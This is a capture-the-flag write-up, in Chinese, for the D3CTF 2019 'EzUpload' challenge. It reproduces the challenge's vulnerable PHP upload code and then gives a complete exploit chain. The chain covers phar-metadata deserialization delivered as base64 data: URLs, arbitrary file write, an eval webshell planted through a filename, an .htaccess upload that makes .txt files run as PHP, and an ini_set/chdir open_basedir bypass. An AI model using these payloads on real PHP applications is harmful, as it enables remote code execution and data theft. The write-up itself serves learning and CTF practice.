[D3CTF 2019]EzUpload
[D3CTF 2019]EzUpload
<?php
class dir{
public $userdir;
public $url;
public $filename;
public function __construct($url,$filename) {
$this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
$this->url = $url;
$this->filename = $filename;
if (!file_exists($this->userdir)) {
mkdir($this->userdir, 0777, true);
}
}
public function checkdir(){
if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) {
die('hacker!!!');
}
}
public function checkurl(){
$r = parse_url($this->url);
if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){
die('hacker!!!');
}
}
public function checkext(){
if (stristr($this->filename,'..')){
die('hacker!!!');
}
if (stristr($this->filename,'/')){
die('hacker!!!');
}
$ext = substr($this->filename, strrpos($this->filename, ".") + 1);
if (preg_match("/ph/i", $ext)){
die('hacker!!!');
}
}
public function upload(){
$this->checkdir();
$this->checkurl();
$this->checkext();
$content = file_get_contents($this->url,NULL,NULL,0,2048);
if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
die('hacker!!!');
}
file_put_contents($this->userdir."/".$this->filename,$content);
}
public function remove(){
$this->checkdir();
$this->checkext();
if (file_exists($this->userdir."/".$this->filename)){
unlink($this->userdir."/".$this->filename);
}
}
public function count($dir) {
if ($dir === ''){
$num = count(scandir($this->userdir)) - 2;
}
else {
$num = count(scandir($dir)) - 2;
}
if($num > 0) {
return "you have $num files";
}
else{
return "you don't have file";
}
}
public function __toString() {
return implode(" ",scandir(__DIR__."/".$this->userdir));
}
public function __destruct() {
$string = "your file in : ".$this->userdir;
file_put_contents($this->filename.".txt", $string);
echo $string;
}
}
if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){
highlight_file(__FILE__);
die();
}
$dir = new dir($_POST['url'],$_POST['filename']);
if($_POST['action'] === "upload") {
$dir->upload();
}
elseif ($_POST['action'] === "remove") {
$dir->remove();
}
elseif ($_POST['action'] === "count") {
if (!isset($_POST['dir'])){
echo $dir->count('');
} else {
echo $dir->count($_POST['dir']);
}
}
两个文件写入点,一个文件读取点。upload里的的文件写入可以写入upload/{md5(ip)}/目录,析构函数里的文件写入可以写任意目录(需要权限)。但是析构函数里的工作目录会变到网站根目录(ServerRoot不是DocumentRoot),这个web服务的DocumentRoot在/var/www/html/*/下,这个*是一个随机生成的字符串,并且10分钟换一次(原题中有hints提示)。__toString()函数可以读取目录,并且这个函数可以在析构函数里的字符串拼接处出触发,这个函数可以用来获取上面说到的随机生成的目录名。拿到目录名后就可以利用析构函数里的文件写入进行任意文件写入了。
有了反序列化思路之后就要找反序列化点了,题目代码中并没有明确的反序列化函数调用,但是存在文件读取函数,可以利用phar协议进行反序列化。
phar文件内容大致分为四个部分
-
stub
这是一个标志位用来标示一个phar文件,格式为
* __HALT_COMPILER();?>或* __HALT_COMPILER();。前面的*可以是任意字符,比如可以GIF89a来绕过部分过滤。php通过这个标志来识别phar文件(不依赖文件后缀)。
-
manifest
这里储存的是phar文件的信息,其中有一个以序列化字符串存放的可以自定义的meta-data部分,在解析phar会进行反序列化。
-
contents
文件内容
-
signature
签名,和hash phar.require_hash配置有关
php提供了一个phar类来进行phar文件操作,构造以下payload
<?php
class dir{
public $userdir;
public $url;
public $filename;
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(" __HALT_COMPILER(); "); //设置stub
$o = new dir();
$a = new dir();
$a->userdir='../';
$o->userdir=$a;
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
执行这个文件会生成一个phar.phar文件,计算该文件的base64值为
IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4vIjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO30IAAAAdGVzdC50eHQEAAAAaPXEXgQAAAAMfn/YtgEAAAAAAAB0ZXN0RoxsuC3D8ws4dcXncsEt80xGlOQCAAAAR0JNQg==
提交请求为
action=upload&filename=phar.txt&url=data:image/png;base64,IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4vIjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO30IAAAAdGVzdC50eHQEAAAAaPXEXgQAAAAMfn/YtgEAAAAAAAB0ZXN0RoxsuC3D8ws4dcXncsEt80xGlOQCAAAAR0JNQg==
再提交请求为
action=upload&filename=&url=phar://upload/{md5(IP)}/phar.txt
可以在回显中看到目录名。这里利用../读取了/var/www/html/的内容,但是再往上就读不到了因为open_basedir的限制。
知道的目录名后就可以用绝对路径来进行任意文件写入了,析构函数中将$string变量写入一个文件,$string变量由两个字符串拼接,其中$userdir变量可以触发__toString()函数,__toString()函数又可以读取/var/www/html/目录和子目录内容,而upload/{md5(IP)}/目录又可以通过upload()函数进行文件写入,并且对文件名的限制很小。这条攻击链就很清晰了
首先提交一个请求
action=upload&filename=<?php eval($_GET['cmd']); ?>.txt&url=
这个请求生成了一个名为<?php eval($_GET['cmd']); ?>.txt的文件,再构造payload
<?php
class dir{
public $userdir;
public $url;
public $filename;
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(" __HALT_COMPILER(); "); //设置stub
$o = new dir();
$a = new dir();
$a->userdir='upload/{md5(IP)}/';
$o -> filename= '/var/www/html/{directory_name}/upload/{md5(IP)}/webshell';
$o->userdir=$a;
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
计算生成的phar.phar文件base64值
IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KLQEAAAEAAAARAAAAAQAAAAAA9wAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6NDA6InVwbG9hZC80OGNkOGI0MzA4MTg5NmZiZDA5MzFkMjA0Zjk0NzY2My8iO3M6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO047fXM6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO3M6Nzk6Ii92YXIvd3d3L2h0bWwvZmViZWZlMWNjNWM4Nzc0OC91cGxvYWQvNDhjZDhiNDMwODE4OTZmYmQwOTMxZDIwNGY5NDc2NjMvd2Vic2hlbGwiO30IAAAAdGVzdC50eHQEAAAARPrEXgQAAAAMfn/YtgEAAAAAAAB0ZXN0hhX3PmvSpwnvsS1rmPywO8MrIPgCAAAAR0JNQg==
提交请求
action=upload&filename=phar.txt&url=data:image/png;base64,IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KLQEAAAEAAAARAAAAAQAAAAAA9wAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6NDA6InVwbG9hZC80OGNkOGI0MzA4MTg5NmZiZDA5MzFkMjA0Zjk0NzY2My8iO3M6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO047fXM6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO3M6Nzk6Ii92YXIvd3d3L2h0bWwvZmViZWZlMWNjNWM4Nzc0OC91cGxvYWQvNDhjZDhiNDMwODE4OTZmYmQwOTMxZDIwNGY5NDc2NjMvd2Vic2hlbGwiO30IAAAAdGVzdC50eHQEAAAARPrEXgQAAAAMfn/YtgEAAAAAAAB0ZXN0hhX3PmvSpwnvsS1rmPywO8MrIPgCAAAAR0JNQg==
再提交请求
action=upload&filename=&url=phar://upload/{md5(IP)}/phar.txt
在upload/{md5(IP)}/目录下会生成一个webshell.txt文件,其中有部分内容为<?php eval($_GET['cmd']); ?>
再上传一个.htaccess文件将txt解析为php即可,提交请求
action=upload&filename=.htaccess&url=data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0
再访问webshell.txt并提交cmd参数即可执行任意代码,但是还存在open_basdir的限制,提交参数cmd为
ini_set('open_basedir', '..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir', '/');var_dump(scandir('/'));
可以看到在根目录存在一个F1aG_1s_H4r4文件,提交参数为
ini_set('open_basedir', '..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir', '/');var_dump(file_get_contents('/F1aG_1s_H4r4'));
即可获取flag。
还有其他解法如
<?php
class dir{
public $userdir;
public $url;
public $filename;
public function __construct(){
$this->userdir = '<?php eval($_GET[cmd]);?>';
$this->filename = "/var/www/html/216cbd05fb1918ba/upload/4f105b2c0ec2da14aae9b130ee13f8e9/somnus";
$this->url = "1";
}
}
$d = new dir();
echo urlencode(serialize($d));
$phar = new Phar("somnus3.phar");
$phar->startBuffering();
$phar->setStub("GIF89A"."__HALT_COMPILER();"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($d); //将自定义meta-data存入manifest
$phar->addFromString("test.jpg", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>